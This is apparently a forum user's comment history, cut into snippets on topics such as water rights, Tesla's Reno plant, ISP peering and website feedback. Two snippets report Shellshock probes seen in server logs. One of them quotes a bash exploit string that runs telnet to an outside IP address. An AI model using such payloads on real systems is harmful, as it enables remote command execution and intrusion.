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by ktsmith 12y ago
It's really not. It's business and this is potentially very bad for the business. Rather than an ex employees AMA being discussed the discussion has turned roundly onto the response of the CEO. Rather than talking about the $50 mi
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by ktsmith 12y ago
California gets ~10% of their water from the Colorado River System. They'll be getting less as more states use their full allocation and the surplus that California has been getting dries up. There is ongoing battling about distributin
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by ktsmith 12y ago
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Request of file: /cgi-sys/defaultwebpage.cgi With wge
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by ktsmith 12y ago
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up. () { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Co
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by ktsmith 12y ago
I also had no idea how to play initially because my mouse was over the game area and so the how to play instructions disappeared before I could read them.
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by ktsmith 12y ago
Sure, after years of essentially no regulation and Google paying a massive fine.
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by ktsmith 12y ago
It's still the same crew with the same attachment to Penny Arcade.
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by ktsmith 12y ago
Android Open Source Project
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by ktsmith 12y ago
http://clui.org/ludb/site/crystal-geyser-olancha-plant The Olancha Crystal Geyser bottling plant is on Highway 395 right next to the dry bed of Owens Lake. The Owens River used to run into Owens Lake but the water
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by ktsmith 12y ago
I'd take that a step further and put a sensor on every outlet so it would be like a built in kill a watt that you could look at from a household level, circuit level, and then socket level. You could monitor and alert on things that ar
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by ktsmith 12y ago
I wasn't aware that work had resumed. It was just a few days ago that kolo reported the layoffs and shut down and I don't catch that very often. It'll be interesting to see if it's the plant or something else.
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by ktsmith 12y ago
In the last five days while I happened to catch the news on tv (I rarely watch it) they were reporting the workers had been laid off and work had been stopped. toomuchtodo above states that they are behind and trying to get caught back up s
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by ktsmith 12y ago
it's looking more and more like Reno is the location of the battery plant. The governor and Musk have both made statements recently about it and Tesla had something like 300 people working on something here. Work is currently stopped t
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by ktsmith 12y ago
I'm looking at it on a macbook pro 17". I can't see what's happening in the video because the recorded area is too big and the video plays by default too small. This isn't a mobile issue, and on desktop when going f
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by ktsmith 12y ago
Couple of quick comments on the landing page. * The content in the video is too small to see what's going on without going full screen and then it's blurry * The color choices need to be redone The grey text on grey backg
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by ktsmith 12y ago
Thanks for that differentiator, Transmeta kept popping into my thoughts every time I would read about Mill as well.
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by ktsmith 12y ago
It doesn't appear that it is complete when compared to the listed functionality on the site.
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by ktsmith 12y ago
Thanks for catching that error, as I typed out asynchronous I was saying to myself "this isn't right, the a is in the dang acronym" and then I was too lazy to double check.
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by ktsmith 12y ago
That wouldn't work though. Verizon sells unbalanced services with larger download capacity than upload capacity. So it's simply not likely/possible that their customers can send matching data for what they are requesting. Add
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by ktsmith 12y ago
I'd say that wmf addressed it already. Peering points with one side being primarily consumer services are always going to be unequal due to the nature of the end user and the ways in which consumer ISPs provide bandwidth to their custo
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by ktsmith 12y ago
Oversubscribing lines has been one of the ways to keep ISPs profitable for years. Streaming video absolutely cuts into the ability to do this of course but I doubt it's the primary issue here. Verizon has every incentive to not add mor
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by ktsmith 12y ago
Verizon probably doesn't need to pay Level 3 for the bandwidth. Typically peering points like this are settlement free. In other words it's a voluntary exchange of traffic and each side of the line keeps 100% of the revenue from i
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by ktsmith 12y ago
Apple and MS actually shield a ton of their money by having offices in Reno. Microsoft Licensing is on Neil Rd in Reno with Intuit just down the street. Tons of companies have shell corps in Nevada for tax reasons.
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by ktsmith 12y ago
I used to do the same thing and filter search results by prime for the shipping benefits. However since they've started using UPS Sure Post with hand off to the USPS I've been having nothing but trouble getting my packages. I&#x27
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by ktsmith 12y ago
I agree they look that way until you start looking at the accounts posting them. That being said a lot of people send newsletters, and a lot of people use MailChimp (we do). MailChimp has been releasing a lot of UI changes lately, including
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by ktsmith 12y ago
I'm using Disconnect since Ghostery sells data to advertisers.
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by ktsmith 12y ago
My son and all of his friends, ages 5-7, all love evantubehd and stampylonghead and I just don't get it. The weirder part for me is then they pretend they are making youtube shows when they are playing.
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by ktsmith 12y ago
Audi started making this an option in 2008 (2007?) on their A8 line and was followed by Fisker and Toyota on the Prius. i don't think any of them have it as an option any more. It's just not effective enough.
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by ktsmith 12y ago
Being around 7-8 year olds pretty frequently, and having a 5 year old myself, I would have been surprised if they didn't recognize it and get excited.
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by ktsmith 12y ago
> That's 30,580 blacks and hispanics[1]. For all degrees qualifying as science and engineering. If only 5% of those are in computer science that's only 1,529 people. There are a lot of companies vying for those 1,529 people. Le

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